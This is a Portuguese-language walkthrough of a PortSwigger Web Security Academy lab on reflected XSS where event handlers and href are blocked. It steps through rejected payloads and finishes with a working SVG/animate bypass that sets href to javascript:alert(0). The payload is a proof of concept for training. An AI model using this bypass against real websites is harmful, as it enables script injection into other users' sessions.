> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS com Eventos Bloqueados e Atributos href

Notas sobre XSS com Eventos Bloqueados e Atributos href para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### XSS refletido com manipuladores de eventos e atributos href bloqueados

Lab d A operação deve injetar um elemento clicável com as palavras **"Clique"** (ou equivalente) e disparar `alert()` ao clicar.

Insira um elemento visível contendo a palavra **Clique em** que, quando o usuário clica nele, executa `alert()` apesar da proibição de manipuladores de eventos e `href`.

```javascript
<script>
```

* Inserindo `<script>` retorna: *A tag não é permitida*.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1316ca1ba67d36888ded2cf56c151a1b2fa1f21e%2Fimage%20(404).png?alt=media" alt=""><figcaption></figcaption></figure>

* O `<a>` a tag é aceita (por exemplo, `<a>teste</a>`),

```javascript
<a>teste</a>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e0aa4a451fd6594f5d219cb35a39e0ecdc711f%2Fimage%20(405).png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

O `href` o atributo é recusado — `href="JavaScript:..."` é bloqueado.

```javascript
<a href="javascript:alert(0);"Clique em mim</a>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfe2ceb6f9051dee18a984c1a6331a902a6e97fc%2Fimage%20(406).png?alt=media" alt=""><figcaption></figcaption></figure>

* Elementos SVG são permitidos (`<svg>` é aceito).

```javascript
<svg>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ee9d764293ec3cbc9f953fefb54a7a2d0bbac1a%2Fimage%20(407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Elementos de animação SVG (como `<animate>`) parecem presentes e exploráveis.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d7ecc4ff55d20ab9571418bdeae2e164123c29%2Fimage%20(408).png?alt=media" alt=""><figcaption></figcaption></figure>

**Tentativas —**

* Injetar `<script>` → rejeitado.
* Use `<a href="JavaScript:...">` → atributo proibido.
* Contornar o bloqueio combinando elementos SVG e de animação para transferir um `href` valor para uma âncora e assim tentar executar `JavaScript:alert(0)` ao clicar.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>Clique em mim!</script></a>
```


---

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